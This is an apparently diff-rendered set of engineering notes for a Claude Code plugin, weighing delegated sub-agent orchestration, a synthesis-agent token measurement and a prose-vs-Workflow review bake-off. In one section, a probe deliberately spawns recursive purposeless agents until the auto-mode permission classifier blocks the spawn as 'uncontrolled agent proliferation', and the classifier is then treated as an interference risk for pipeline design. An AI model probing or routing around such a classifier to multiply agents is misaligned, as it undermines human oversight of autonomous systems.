||||
summarizer link" in the delegation audit)?
|
||||
|
||||
The v2.4.0 migration was forced by a *capability gap*: the premise that "the harness does not
|
||||
expose the Agent tool to sub-agents" (asserted in `agents/planning-orchestrator.md:5–11`,
|
||||
`research-orchestrator.md`, `review-orchestrator.md`, `commands/trekplan.md:399–406`). CC-01
|
||||
(2.1.172, verified) made that premise false. CC-26 is therefore **not** "is delegation possible?"
|
||||
(it is) but "**does delegation pay**, given that re-architecture has real costs?"
|
||||
|
||||
## 2. Reframing: wall-time is not the gate metric
|
||||
|
||||
The decision-relevant axis is **main-context token pressure vs. plan quality**, not wall-time.
|
||||
|
||||
- The delegation audit shows exploration is **already** well-delegated (~10 agents for trekplan).
|
||||
What fills main context is **synthesis + plan-writing, which stay inline** (trekplan Phase 7–8;
|
||||
`subagent-delegation-audit.md` §2). That is the only thing delegation would relieve.
|
||||
- Delegation **adds** latency (an extra orchestrator hop + re-delivering codebase context to a
|
||||
writer agent), so wall-time is expected to be *worse*, not better. Audit §"Tradeoffs" lists the
|
||||
costs explicitly: iteration friction, adversarial review still runs in main, writer-agents need
|
||||
the same codebase context re-delivered (burning the tokens delegation was meant to save), and
|
||||
loss of in-transcript debuggability.
|
||||
- The audit's own open Q3 names the real measurement: "measure current main-context usage per
|
||||
phase so the savings estimates can be replaced with real numbers."
|
||||
|
||||
So T1's binding metric is **Δ main-context tokens (main session) for an equivalent-quality plan**,
|
||||
with wall-time and total token cost as secondary, and depth-cap behavior as a feasibility check.
|
||||
|
||||
## 3. Feasibility probe (RUN — 2026-06-18, CC 2.1.181, interactive session)
|
||||
|
||||
**Goal:** isolate the *mechanism* (can a sub-agent spawn sub-agents? does it degrade? where is the
|
||||
depth cap?) from the *workload* (token/quality — deferred to §6). A recursive chain of trivial
|
||||
`general-purpose` agents, `main → L1 → L2 → …`, each only reporting Agent-tool availability and
|
||||
spawning exactly one child on the next level, stopping at level 6 or on first error.
|
||||
|
||||
**Verbatim result:**
|
||||
|
||||
```
|
||||
LEVEL 1 | agent_tool_available: yes | spawn_attempted: yes | spawn_result: success
|
||||
CHILD_REPORT:
|
||||
LEVEL 2 | agent_tool_available: yes | spawn_attempted: yes
|
||||
| spawn_result: error:"Permission for this action was denied by the Claude Code
|
||||
auto mode classifier. Reason: Recursive self-spawning agent loop with no task
|
||||
purpose, designed to multiply autonomous agents — an uncontrolled agent
|
||||
proliferation pattern. …"
|
||||
| wall_note: blocked by auto-mode permission classifier (policy denial, NOT a
|
||||
harness/nesting-depth limit); did not retry per protocol
|
||||
CHILD_REPORT: none
|
||||
```
|
||||
|
||||
**Findings (measured):**
|
||||
|
||||
| # | Finding | Evidence | Decision impact |
|
||||
|---|---------|----------|-----------------|
|
||||
| F1 | **Depth-2 nesting works.** A sub-agent has the Agent tool and can spawn its own sub-agent. | L1 spawned L2 successfully; both report `agent_tool_available: yes`. | Voyage's needed pattern (orchestrator → swarm = depth 2) is **mechanically feasible**. v2.4.0 premise confirmed false at the interactive sub-agent level. |
|
||||
| F2 | **No degradation at depth 2.** | L2 returned a real, well-formed structured report; did not hang or silently degrade. | The original v2.4.0 fear ("background orchestrators silently degraded") does not reproduce for a *foreground* Agent-tool-spawned sub-agent at depth 2. |
|
||||
| F3 | **The ≤5 depth cap was never the binding constraint.** L2→L3 was blocked by the **auto-mode permission classifier**, not the nesting cap. | Verbatim error names "uncontrolled agent proliferation," not a depth limit. | For Voyage (needs depth 2; documented cap 5) the depth cap is **moot**. Precise cap location was not measured — and does not matter for this gate. |
|
||||
| F4 | **NEW: the permission classifier polices agent proliferation.** A fan-out of agents "with no task purpose" is actively denied in auto mode. | Verbatim classifier reason. | **Architecture risk unique to delegation** — see §4. |
|
||||
|
||||
> Verifiseringsplikt: F1–F4 are *measured* from the probe above. The probe deliberately used a
|
||||
> trivial, purposeless recursion; a real orchestrator→swarm has a genuine task purpose and would
|
||||
> likely pass the classifier — but the classifier's *existence and watchfulness* is the verified
|
||||
> fact, and it is the new variable a delegated design must account for.
|
||||
|
||||
## 4. New finding — the proliferation classifier (decision-relevant)
|
||||
|
||||
The auto-mode permission classifier flags fan-out of autonomous agents as "uncontrolled agent
|
||||
proliferation." Two consequences for the delegated arm specifically:
|
||||
|
||||
1. **Headless / auto / bypass modes are where Voyage fans out most** (trekexecute Phase 2.6
|
||||
parallel waves; `--gates` Path C autonomy). A delegated orchestrator that spawns a 6–10-agent
|
||||
swarm from *inside a sub-agent* under `auto`/`bypassPermissions` is exactly the shape the
|
||||
classifier scrutinises. My purposeless probe tripped it; a purposeful swarm probably passes —
|
||||
but "probably" is now a risk that **inline orchestration does not carry** (main-context
|
||||
spawning is operator-visible and not nested).
|
||||
2. The classifier denial is **fail-shut for the child** (the spawn simply does not happen). In a
|
||||
delegated pipeline, a mid-pipeline classifier denial means the orchestrator sub-agent silently
|
||||
loses part of its swarm — a *new* silent-degradation surface, distinct from but reminiscent of
|
||||
the v2.4.0 one. This must be in any T2/full-run test matrix.
|
||||
|
||||
## 5. Measurement design — the full head-to-head (specified, ready to run)
|
||||
|
||||
If the operator greenlights pursuing delegation (see §7), this is the measurement that resolves the
|
||||
*performance* half of CC-26. It is **not run** in S7.
|
||||
|
||||
**Arms (same fixed brief, same codebase, same model/effort):**
|
||||
- **Arm A — inline (baseline):** current `/trekplan` flow; main context spawns the swarm and does
|
||||
Phase 7–8 synthesis/writing inline.
|
||||
- **Arm B — delegated:** main spawns ONE orchestrator sub-agent (the dormant
|
||||
`planning-orchestrator` spec, which already declares the Agent tool); it spawns the swarm and
|
||||
runs synthesis; main only receives the finished artifact.
|
||||
|
||||
**Fixed inputs:** one representative brief (reuse an existing `.claude/projects/*/brief.md` of
|
||||
medium size), a fixed target repo, `model: opus` / default effort, `--profile balanced`.
|
||||
|
||||
**Metrics (per arm, ≥3 runs for medians — q3 harness pattern for usage extraction):**
|
||||
|
||||
| Metric | Source | Role |
|
||||
|--------|--------|------|
|
||||
| **Δ main-context tokens** (input+cache_creation resident in the *main* session at plan-complete) | stream-json `usage` of the main session | **PRIMARY** — the gate metric (§2) |
|
||||
| Total token cost (main + all descendants) | summed stream-json `usage` | secondary (delegation re-delivers context → expected higher) |
|
||||
| Wall-time to `plan.md` | timestamps | secondary (delegation expected slower) |
|
||||
| Plan quality | LLM-judge pass (or operator review) comparing both `plan.md` against the brief's SC | **gate guard** — a token win that costs quality fails the gate |
|
||||
| Classifier interference | count of denied/missing swarm spawns in Arm B | feasibility guard (§4) |
|
||||
|
||||
**Decision thresholds (CC-26 verdict):**
|
||||
- **POSITIVE (adopt delegation):** Arm B cuts main-context tokens by **≥ 30%** at plan-complete
|
||||
AND plan quality is judged **≥** Arm A AND zero classifier interference.
|
||||
- **NEGATIVE (keep inline):** Arm B's main-context saving **< 15%**, OR plan quality **<** Arm A,
|
||||
OR any classifier interference that drops swarm coverage.
|
||||
- **INCONCLUSIVE:** in-between, or harness/metadata failure → narrow the scope (§6) and re-run.
|
||||
|
||||
**Harness note:** extend the `scripts/q3-cache-prefix-experiment.mjs` pattern (stream-json `usage`
|
||||
extraction, median, threshold→verdict, always-write result file). The orchestration shape differs
|
||||
from q3's identical fork-children, so the child-spawn logic is new; the *measurement scaffold* is
|
||||
reused.
|
||||
|
||||
## 6. Cheaper PoC (audit-recommended, preferred over the full bake-off)
|
||||
|
||||
Per `subagent-delegation-audit.md` §Recommendation, the lowest-risk way to test the delegation
|
||||
*premise* is **not** a wholesale orchestrator rewrite but **one narrow synthesis-agent**
|
||||
(intervention #1/#3): delegate only trekplan Phase 7 synthesis (the heaviest single inline read —
|
||||
6–10 agent outputs resident simultaneously) to a `synthesis-agent`, and measure Δ main-context
|
||||
tokens for an equivalent findings artifact. This isolates the largest single win with the smallest
|
||||
blast radius and no orchestrator-nesting / classifier exposure (main still spawns the swarm; only
|
||||
the *digest* is delegated). Recommended as the **first** thing to measure if delegation is pursued.
|
||||
|
||||
## 7. CC-26 recommendation (operator gates the verdict)
|
||||
|
||||
**Lean NO on wholesale delegated orchestration; YES exists only as a narrow, opt-in
|
||||
synthesis-agent, proven incrementally.**
|
||||
|
||||
Reasoning, on the evidence above:
|
||||
- Feasibility is no longer the blocker (F1/F2) — so the gate turns purely on cost/benefit.
|
||||
- The cost/benefit is unfavourable for *wholesale* re-architecture: delegation's only upside is
|
||||
main-context relief, against wall-time loss, context re-delivery cost, the audit's iteration /
|
||||
adversarial-review / debuggability tradeoffs, AND a new classifier-interference risk (F4) that
|
||||
inline does not carry.
|
||||
- The defensible win is narrow and incremental: delegate **only** the heaviest inline synthesis
|
||||
read (§6) and adopt it **only** if a measured Δ main-context ≥ 30% with no quality loss
|
||||
materialises. That is opt-in, reversible, and does not touch the orchestration topology.
|
||||
|
||||
**Net:** CC-26 stays **EVALUATE**, but the wholesale orchestrator→swarm option is **not
|
||||
recommended**. If the operator wants to pursue delegation, the next measured step is the §6
|
||||
synthesis-agent PoC, not the §5 full bake-off. CC-27 (Workflow-tool, S8) remains the more
|
||||
promising orchestration-substrate question and is untouched by this.
|
||||
|
||||
## 8. Open items
|
||||
|
||||
1. Precise depth-cap location unmeasured (F3) — irrelevant to this gate (Voyage needs depth 2);
|
||||
only matters if a future nested pipeline approaches 5.
|
||||
2. Classifier behaviour for a *purposeful* swarm under `auto`/`bypassPermissions` is unverified
|
||||
(F4) — must be in the §5/§6 test matrix before any delegated spawn ships to a headless path.
|
||||
3. The §6 synthesis-agent PoC and the §5 full bake-off are both **designed but unbuilt** — ready
|
||||
to run if CC-26 is greenlit toward delegation.
|
||||
104
docs/T1-synthesis-poc-results.md
Normal file
104
docs/T1-synthesis-poc-results.md
Normal file
|
|
@ -0,0 +1,104 @@
|
|||
# T1 — Synthesis-agent PoC: Δ main-context measurement (NW3 / S12)
|
||||
|
||||
**Status:** Measurement complete — verdict below. **Method:** deterministic token-
|
||||
accounting over real exploration fixtures (the live ≥3-run bake-off of T1 §5 is the
|
||||
stronger instrument but is (a) environment-blocked here — no `ANTHROPIC_API_KEY`, and the
|
||||
installed plugin is a cache copy so a fresh `synthesis-agent` is invisible to `claude -p`;
|
||||
and (b) unnecessary, because the binding answer is STRUCTURAL, not stochastic).
|
||||
**Resolves:** decision-matrix §W1 / CC-26 narrow PoC (`docs/T1-cc26-delegated-orchestration.md` §6).
|
||||
**Reproduce:** `node scripts/synthesis-measure.mjs` (regenerates this file).
|
||||
|
||||
> Verifiseringsplikt: token figures are an explicit **chars/4 estimate** (labelled), not a
|
||||
> tokenizer count. The gate turns on the RATIO Δ%, in which the per-token constant cancels
|
||||
> for the `out` term. BASE (the fixed main-session baseline) is environment-dependent and
|
||||
> was NOT API-measured this session → swept across a documented band, not asserted.
|
||||
|
||||
## 1. The decisive structural finding (BASE-independent)
|
||||
|
||||
trekplan runs the Phase 5 exploration swarm **foreground** (foreground is the only mode
|
||||
since v2.4.0; `commands/trekplan.md`). Foreground Agent/Task results are delivered back
|
||||
into the main transcript, so after Phase 5 the 6–10 exploration outputs are **already
|
||||
resident in main**. Raw outputs are never written to disk (`trekplan.md:569` reserves the
|
||||
"do NOT write to disk" rule for the synthesis text only). Phase 7 synthesis therefore
|
||||
*reasons over already-resident context*. Delegating **only** the Phase-7 read to a
|
||||
synthesis-agent — "main still spawns the swarm; only the digest is delegated" (T1 §6) —
|
||||
**cannot evict those outputs from main**; the digest simply returns on top of them.
|
||||
|
||||
⇒ **Δ main-context (faithful flow) ≈ 0** — independent of every token count below. The
|
||||
≥30% saving is only realizable by ALSO moving Phase-5 delivery off-main (swarm-writes-to-
|
||||
disk, or a nested orchestrator owning the swarm), which is the wholesale change T1 §7
|
||||
explicitly declined and is OUT of NW3 scope.
|
||||
|
||||
## 2. Fixtures (measured)
|
||||
|
||||
- Exploration dir: `tests/fixtures/synthesis/exploration`
|
||||
- Digest: `tests/fixtures/synthesis/digest.json`
|
||||
|
||||
| exploration output | chars | est. tokens |
|
||||
|--------------------|-------|-------------|
|
||||
| architecture-mapper.md | 4774 | 1194 |
|
||||
| convention-scanner.md | 1704 | 426 |
|
||||
| dependency-tracer.md | 3470 | 868 |
|
||||
| git-historian.md | 1703 | 426 |
|
||||
| risk-assessor.md | 1950 | 488 |
|
||||
| task-finder.md | 1927 | 482 |
|
||||
| test-strategist.md | 1720 | 430 |
|
||||
| **OUT (Σ resident in main)** | — | **4314** |
|
||||
| digest (DIG) | — | 624 |
|
||||
|
||||
## 3. Δ main-context — both framings, swept over BASE
|
||||
|
||||
`inline` = base+out+dig · `delegated (faithful)` = base+out+dig (out already resident) ·
|
||||
`delegated (disk-potential)` = base+dig (out off-main).
|
||||
|
||||
| BASE (est.) | inline | faithful Δ | faithful verdict | disk-potential Δ | disk verdict |
|
||||
|-------------|--------|------------|------------------|------------------|--------------|
|
||||
| 30000 | 34938 | 0.0% | NEGATIVE | 12.3% | NEGATIVE |
|
||||
| 50000 | 54938 | 0.0% | NEGATIVE | 7.9% | NEGATIVE |
|
||||
| 80000 | 84938 | 0.0% | NEGATIVE | 5.1% | NEGATIVE |
|
||||
| 120000 | 124938 | 0.0% | NEGATIVE | 3.5% | NEGATIVE |
|
||||
|
||||
Break-even BASE for the disk-potential upper bound to reach the 30% adopt bar: **~9,442 tokens** (below this BASE the *hypothetical* disk path would clear 30%; at/above it, even the upper bound fails). A real Voyage main session's BASE (CC system prompt + plugin command/agent/skill listings + CLAUDE.md) is large, so the disk upper bound is itself fragile.
|
||||
|
||||
### Fixture-independent break-even (so the verdict does not hinge on fixture size)
|
||||
|
||||
disk-potential Δ = out/(base+out+dig), so it clears the 30% adopt bar **iff**
|
||||
`out / base > 0.30/0.70 ≈ 0.43` — the combined exploration output must exceed ~43% of the
|
||||
fixed main baseline. The table below sweeps OUT at an illustrative typical `BASE = 60,000` (independent of this run's fixtures):
|
||||
|
||||
| OUT (Σ exploration tokens) | disk-potential Δ @ ref BASE | clears 30%? |
|
||||
|----------------------------|----------------------------|-------------|
|
||||
| 5,000 | 7.6% | no |
|
||||
| 10,000 | 14.2% | no |
|
||||
| 20,000 | 24.8% | no |
|
||||
| 30,000 | 33.1% | yes |
|
||||
| 40,000 | 39.8% | yes |
|
||||
|
||||
This run's fixtures total **OUT = 4314 tokens** across 7 concise representative outputs — one concrete point on the curve. Even a generously large real swarm (OUT in the tens of thousands) only clears 30% when the main baseline is unusually small, and *never* in the faithful flow (Δ=0). The verdict is therefore robust to fixture size.
|
||||
|
||||
## 4. Quality
|
||||
|
||||
The digest-output contract (`lib/plan/synthesis-digest-schema.mjs`) pins the same Phase-7
|
||||
synthesis dimensions main produces inline (task, architecture_model, reusable_code,
|
||||
contradictions, risks, gaps, source-tagged findings). A delegated digest that validates is
|
||||
structurally quality-equivalent to the inline one — but quality is moot here: the faithful
|
||||
Δ is ~0, so there is no token win for quality to defend.
|
||||
|
||||
## 5. Verdict
|
||||
|
||||
**DECLINED per measurement.** NW3-as-scoped yields **Δ main-context ≈ 0%** (faithful flow,
|
||||
structural — the Phase-5 foreground swarm already makes the outputs resident; delegating
|
||||
Phase 7 evicts nothing). The disk-potential upper bound is reachable only via an out-of-
|
||||
scope Phase-5 change and is itself BASE-fragile.
|
||||
|
||||
RESULT: NEGATIVE (Δ_faithful = 0.0% < 15.0% adopt-floor)
|
||||
|
||||
## 6. Disposition
|
||||
|
||||
- `agents/synthesis-agent.md` ships **dormant** (a documented, schema-conformant deliverable);
|
||||
`commands/trekplan.md` Phase 7 is **NOT** wired to it.
|
||||
- If main-context relief is later wanted, the prerequisite is a Phase-5 redesign (swarm-
|
||||
writes-to-disk / nested orchestrator) — a separate, larger decision (re-open CC-26 §7).
|
||||
- The dormant agent + this harness make that future step cheap to re-measure: drop new
|
||||
fixtures in and re-run.
|
||||
|
||||
198
docs/T2-bakeoff-results.md
Normal file
198
docs/T2-bakeoff-results.md
Normal file
|
|
@ -0,0 +1,198 @@
|
|||
# T2 / NW2 — prose-vs-Workflow bake-off results
|
||||
|
||||
**Status (S10):** Part A (build + smoke) **and** part B (full ≥3-runs/arm
|
||||
measurement) **COMPLETE**. Operator GO 2026-06-18 (choice "a" — full ≥3× run).
|
||||
**T2 §5 verdict: opt-in-defensible** (POSITIVE on the measured axes, on a single
|
||||
un-archived run — see **§Reproducibility caveat**) — the Workflow substrate is
|
||||
fidelity-neutral on what was measured; proceed to the opt-in `--workflow` flag at S11. Full evidence in **§Full run (S10 part B)** at the
|
||||
end of this doc. The smoke section below is retained for history.
|
||||
|
||||
Resolves: `docs/W1-narrow-wins-plan.md §S10` (build + de-risk **and** full measurement).
|
||||
|
||||
---
|
||||
|
||||
## Setup
|
||||
|
||||
| Item | Value |
|
||||
|------|-------|
|
||||
| Fixture | `tests/fixtures/bakeoff/` — real diff of commit `b149538` (NW1) + brief reconstructed from `docs/W1-narrow-wins-plan.md §S9` |
|
||||
| Delivered diff | 3 files, +438/-3 (`commands/trekreview.md`, `lib/review/findings-schema.mjs`, `tests/lib/findings-schema.test.mjs`) |
|
||||
| Triage | all 3 files `summary-only` (deterministic Phase-4 classifier) |
|
||||
| Model | `opus` (reviewer + coordinator agent defaults) |
|
||||
| Arm A (prose) | reviewers spawned via Agent tool, prose trailing-JSON contract (validated by NW1 `findings-schema`) |
|
||||
| Arm B (Workflow) | `scripts/trekreview-armB.workflow.mjs` via Workflow tool: `parallel([conformance, correctness])` schema-forced → JS dedup-by-triplet → `agent(review-coordinator)` verdict schema |
|
||||
| Fidelity metric | `lib/review/fidelity-diff.mjs` `fidelityDiffStructured` (verdict + jaccard over `(file,line,rule_key)`-IDs + severity/rule cross-check) |
|
||||
|
||||
## Smoke results (single run per arm)
|
||||
|
||||
| | Arm A (prose) | Arm B (Workflow) |
|
||||
|---|---|---|
|
||||
| Reviewers run | 2 | 2 |
|
||||
| Raw findings | 0 | 1 |
|
||||
| After coordinator | 0 (coordinator moot — 0 findings) | 0 (coordinator dropped the 1 finding) |
|
||||
| **Verdict** | **ALLOW** | **ALLOW** |
|
||||
| Agents | 2 | 3 (2 reviewers + coordinator) |
|
||||
| Subagent tokens | ~72.3k (34.3k + 38.0k; no coordinator) | ~100.9k (incl. coordinator) |
|
||||
| Wall-time | ~70 s (parallel reviewers) | ~157 s (full pipeline) |
|
||||
|
||||
### PRIMARY metric — output fidelity: **EQUIVALENT**
|
||||
|
||||
```
|
||||
fidelityDiffStructured(ArmA, ArmB) =
|
||||
{ verdictMatch: true, jaccard: 1, countA: 0, countB: 0,
|
||||
severityMismatches: [], ruleKeyMismatches: [], equivalent: true }
|
||||
```
|
||||
|
||||
⚠ **Caveat — thin finding surface.** Both arms returned **0 final findings** on
|
||||
this clean, TDD'd fixture, so fidelity is confirmed only at the **verdict** level
|
||||
(ALLOW ≡ ALLOW); the finding-*set* fidelity is trivially equal at zero and was
|
||||
**not stressed**. A reviewer-level divergence *did* appear (Arm B raised 1 raw
|
||||
finding, its coordinator filtered it; Arm A raised 0) — masked at the verdict
|
||||
level. Quantifying that divergence is exactly what the full run on a
|
||||
richer-finding-surface fixture must do.
|
||||
|
||||
### Secondary metrics (smoke, single-run — not medians)
|
||||
|
||||
- **JSON-robustness (the F2 win):** Arm B's reviewers were **schema-forced**
|
||||
(StructuredOutput) — typed findings, zero `JSON.parse`; the 1 raw finding +
|
||||
the coordinator verdict both conformed with no re-ask. Arm A's trailing-JSON
|
||||
validated clean via NW1 `findings-schema`. Win demonstrated structurally; the
|
||||
parse-error/re-ask delta needs a fixture that actually provokes malformed JSON.
|
||||
- **Classifier interference: 0.** Arm B's 2-agent fan-out + coordinator (3 agents)
|
||||
ran with no denied/missing spawns. Confirms S8 F4 for trekreview's small
|
||||
fan-out under the default mode. (`auto`/`bypass` still to be checked in the full run.)
|
||||
- **Token cost:** preliminary and **not yet comparable** — Arm B ran a coordinator
|
||||
(on its 1 finding) that Arm A did not. Single run; no medians.
|
||||
- **Control/visibility:** Arm B runs in the background; intermediate findings are
|
||||
visible in the workflow transcript + `/workflows`. Operator-gate (the review.md
|
||||
write) is unaffected — both arms return structured `{verdict, findings}` and
|
||||
Phase 7 rendering stays shared/prose.
|
||||
|
||||
## Smoke verdict
|
||||
|
||||
**SMOKE PASS — machinery validated.** Arm B (Workflow substrate) runs the full
|
||||
Phase 5–6 pipeline end-to-end, fidelity-**equivalent** to Arm A at the verdict
|
||||
level, with **zero classifier interference**. The build is sound: NW1 schema,
|
||||
fidelity-diff, fixture, and the Arm B port all work together.
|
||||
|
||||
This is **not** the T2 §5 POSITIVE/NEGATIVE verdict — that needs the full
|
||||
≥3-runs/arm measurement with a finding-rich fixture.
|
||||
|
||||
## Go / no-go recommendation (operator decides)
|
||||
|
||||
**Recommend: proceed to the full ≥3-runs/arm run (S10 part B)** with two changes:
|
||||
1. **Use a richer-finding-surface fixture** (a larger real voyage commit, or seed
|
||||
the fixture with a few genuine issues) so finding-*set* fidelity is actually
|
||||
stressed — the smoke only proved verdict fidelity at 0 findings.
|
||||
2. **Match the arms' coordinator path** (run Arm A's coordinator too, even at low
|
||||
finding counts) so the token/wall-time comparison is apples-to-apples, and
|
||||
add the `auto`/`bypass` classifier-interference check (F4).
|
||||
|
||||
If the operator prefers, S11 can instead record "port built + smoke-validated;
|
||||
full measurement deferred" and integrate behind the opt-in `--workflow` flag on
|
||||
the smoke evidence alone — weaker, but the substrate is demonstrably functional.
|
||||
|
||||
---
|
||||
|
||||
# Full run (S10 part B) — ≥3 runs/arm, rich-finding fixture
|
||||
|
||||
**This is the T2 §5 verdict.** Operator GO 2026-06-18 (choice "a"). Resolves the
|
||||
measurement half of `docs/W1-narrow-wins-plan.md §S10`.
|
||||
|
||||
## Setup (vs smoke)
|
||||
|
||||
| Item | Value |
|
||||
|------|-------|
|
||||
| Fixture | `tests/fixtures/bakeoff-rich/` — JWT-auth brief + diff, **5 seeded blatant issues** (varied severity/rule_key, one dual-flaggable). Live reviewers surface **11–18 findings/run** — the smoke's 0-finding limitation is resolved. |
|
||||
| Triage | all 3 files `deep-review` (auth/security surface) — pinned, passed to both arms |
|
||||
| Both arms run the coordinator | yes (token now comparable; smoke ran A's coordinator only on its 1 finding) |
|
||||
| Arm A (prose) | foreground reviewers (Agent tool, no `name`) → `validateReviewerOutput` (NW1) → `scripts/bakeoff-armA-merge.mjs` triplet-dedup → foreground `review-coordinator`. Runs ×3. |
|
||||
| Arm B (Workflow) | `scripts/trekreview-armB.workflow.mjs` ×3 (StructuredOutput findings → JS triplet-dedup → coordinator verdict schema) |
|
||||
| Analysis | `scripts/bakeoff-fidelity.mjs` — cross-arm + within-arm + granularity ladder |
|
||||
|
||||
## Raw results
|
||||
|
||||
| Run | Arm A (prose) | Arm B (Workflow) |
|
||||
|-----|---------------|------------------|
|
||||
| 1 | BLOCK · 13 findings · 86.3k tok · ~119s | BLOCK · 11 findings · 96.9k tok · ~230s |
|
||||
| 2 | BLOCK · 12 findings · 92.8k tok · ~150s | BLOCK · 14 findings · 91.9k tok · ~201s |
|
||||
| 3 | BLOCK · 16 findings · 95.8k tok · ~188s | BLOCK · 18 findings · 97.2k tok · ~249s |
|
||||
|
||||
All 6 runs → **BLOCK**. (Arm A tokens = 2 reviewers + coordinator subagent-tokens; wall = reviewer-phase max + coordinator.)
|
||||
|
||||
## Metrics vs T2 §5
|
||||
|
||||
### 1. PRIMARY — output fidelity
|
||||
|
||||
- **Verdict: EQUIVALENT.** Verdict-match rate **1.0** — all 9 cross-arm (Aᵢ×Bⱼ) pairs agree, all 6 runs BLOCK. This is the operator-meaningful gate decision.
|
||||
- **Finding-set — granularity ladder (cross-arm median jaccard):**
|
||||
|
||||
| Granularity | Cross-arm median [min,max] | Within-arm median (A / B) |
|
||||
|-------------|----------------------------|---------------------------|
|
||||
| `(file,line,rule_key)` triplet | 0.41 [0.29, 0.64] | 0.40 / 0.32 |
|
||||
| `(file,rule_key)` (ignore line) | **0.71** [0.58, 0.91] | 0.69 / 0.67 |
|
||||
| `rule_key` set | 0.86 [0.86, 1.00] | — |
|
||||
| `file` set | **1.00** | — |
|
||||
|
||||
- **Underlying-issue coverage: 5/5 core issues flagged in 6/6 runs (100%)** — alg-from-header, soft-fail-200, bcrypt-drift, missing-test, refresh error-handling.
|
||||
- **rule_key mismatches: 0.** **severity mismatches: 6/9 pairs × 1** — traced to `MISSING_ERROR_HANDLING` rated MINOR (catalogue tier) in Arm A vs MAJOR (brief-Constraint framing) in Arm B. Does **not** change the verdict.
|
||||
- **Read:** the substrate is **fidelity-neutral** — cross-arm divergence ≤ each arm's own run-to-run nondeterminism at *every* granularity (cross 0.71 ≥ within 0.67–0.69 at `(file,rule_key)`). The low triplet jaccard is **line-citation noise shared by both arms** (reviewers cite the same defect at line 24/25/26 or 44/46/50), not a substrate effect.
|
||||
|
||||
### 2. JSON-robustness (the F2 win)
|
||||
|
||||
- **Arm B:** StructuredOutput schema-forced — typed findings, zero `JSON.parse`, `rule_key` enum enforced **at the tool layer** (the agent literally cannot emit an out-of-catalogue key — stronger than NW1's post-hoc check).
|
||||
- **Arm A:** 6/6 reviewer outputs valid via NW1 `validateReviewerOutput` (0 parse errors, 0 schema errors, **0 re-asks**); 3/3 coordinator trailing-json parsed clean.
|
||||
- Both arms 0 re-asks this run ⇒ Arm B's win is **structural**, not a measured re-ask delta (the rich fixture did not provoke malformed JSON; a delta needs a JSON-hostile fixture).
|
||||
|
||||
### 3. Classifier interference: 0 under the session's active mode — auto/bypass UNTESTED (open residual)
|
||||
|
||||
Arm B ran **3 concurrent workflows = 9 concurrent agents**; Arm A ran **6 concurrent reviewers + 3 concurrent coordinators**. No denied/missing spawns in any arm under the session's active mode. Confirms S8 F4 at higher (9-agent) concurrency.
|
||||
**Open residual (Survivor #18 / S21, 2026-06-19).** The W1 charter made a re-run under `auto`/`bypass` permission mode an *explicit* guard, because trekreview can run headless under exactly those modes. That re-run was **never performed** — the permission mode is operator-set, not settable from within an interactive session — and was originally footnoted rather than gating. Per the devil's-advocate audit (Survivor #18, recommendation #9) this result is therefore **not "metric satisfied"**: it holds only under the session's active mode. The mode that matters for **headless** trekreview (`auto`/`bypass`, ≥9-agent fan-out) remains **untested** and stays an **open residual** until measured from a genuinely headless run. trekreview's small fan-out showed 0 interference in S8 and here; the *large* fan-out (trekplan swarm) is explicitly out of narrow-wins scope.
|
||||
|
||||
### 4. Token cost (comparable — both ran coordinator)
|
||||
|
||||
Arm A median **92.8k** subagent-tokens/run; Arm B median **96.9k** ⇒ **+4.4%** (≤ +15% POSITIVE bar; far below +30% NEGATIVE). Arm A additionally burdens the **main context** with hand-orchestration (validate/dedup/prompt-build) that Arm B offloads to the workflow runtime — an uncounted Arm-A cost, i.e. a further point for Arm B.
|
||||
|
||||
### 5. Wall-time
|
||||
|
||||
Arm A median ~150s/run; Arm B ~230s ⇒ **+54%**. **Caveat:** not a controlled per-run comparison — Arm A's reviewers+coordinators were batch-parallelized across the 3 runs, Arm B ran 3 full pipelines concurrently. Arm B is **non-blocking** (background) and frees the main context for the duration.
|
||||
|
||||
### 6. Control / visibility
|
||||
|
||||
Arm B runs in the background; intermediate findings visible in the workflow transcript + `/workflows`; returns structured `{verdict, findings}`. Phase 7 rendering stays shared/prose; the operator-gate (review.md write) is unaffected. Arm B **frees the main context** during the review (the 3 workflows ran while main did other work) — Arm A occupies it end-to-end.
|
||||
|
||||
## VERDICT: **opt-in-defensible** (POSITIVE on measured axes; single un-archived run)
|
||||
|
||||
The Workflow substrate (Arm B) is **fidelity-equivalent** to the prose path (Arm A) on
|
||||
the operator-meaningful axes — verdict 1.0, file-set 1.0, issue-coverage 100%,
|
||||
`(file,rule_key)` jaccard ≥ within-arm — with **comparable tokens (+4.4%)**, **zero
|
||||
classifier interference**, **structurally stronger JSON robustness**, and **better
|
||||
control/visibility** (background + `/workflows` + frees main context). There is **no
|
||||
substrate-attributable divergence**: cross-arm ≤ within-arm at every granularity.
|
||||
|
||||
**Caveat (surfaced per plan §Posture, not hidden):** the strict `fidelityDiffStructured`
|
||||
`equivalent` flag (triplet-jaccard ≥ 0.7) is **0/9**. This is a **metric-calibration
|
||||
artifact** — *both* arms score sub-0.7 against *themselves* at triplet granularity because
|
||||
live reviewers vary line citations and rule_key choice per semantically-identical issue.
|
||||
It is **not** a regression: the granularity ladder and within-vs-cross comparison isolate
|
||||
the divergence as intrinsic LLM nondeterminism, equal in both arms. Arm B's wall-time is
|
||||
~+54% but non-blocking.
|
||||
|
||||
## Reproducibility caveat (Survivor #3, added S17)
|
||||
|
||||
The per-run arm outputs (`a1.json`..`b3.json`) were **never committed** — `git log
|
||||
--diff-filter=A` finds no such file in any ref, and `scripts/bakeoff-fidelity.mjs`
|
||||
requires them as input. The medians and the jaccard ladder above therefore **cannot be
|
||||
regenerated, audited, or falsified** from the repo. This is why the verdict is labeled
|
||||
**opt-in-defensible** rather than a clean POSITIVE: it justifies shipping `--workflow`
|
||||
behind a flag (the measured axes did come out fidelity-neutral), but it rests on a
|
||||
**single un-archived run** and is not a reproducible result. To upgrade it, a future
|
||||
session must re-run the bake-off and commit the raw per-run JSON under
|
||||
`tests/fixtures/bakeoff-rich/runs/` with a test that re-derives these numbers.
|
||||
|
||||
**→ S11:** proceed with the **opt-in `--workflow` flag** (prose stays default — preserves
|
||||
the 2.1.154+ portability floor; see §Open decisions in the narrow-wins plan). The bake-off
|
||||
supports making the Workflow path reachable; residuals are (a) the F4 `auto`/`bypass`
|
||||
explicit-mode check and (b) wiring the flag to reuse the NW1 schemas. A future fidelity
|
||||
metric should score at `(file,rule_key)` granularity (line-noise-robust) rather than the
|
||||
exact triplet.
|
||||
240
docs/T2-cc27-workflow-substrate.md
Normal file
240
docs/T2-cc27-workflow-substrate.md
Normal file
|
|
@ -0,0 +1,240 @@
|
|||
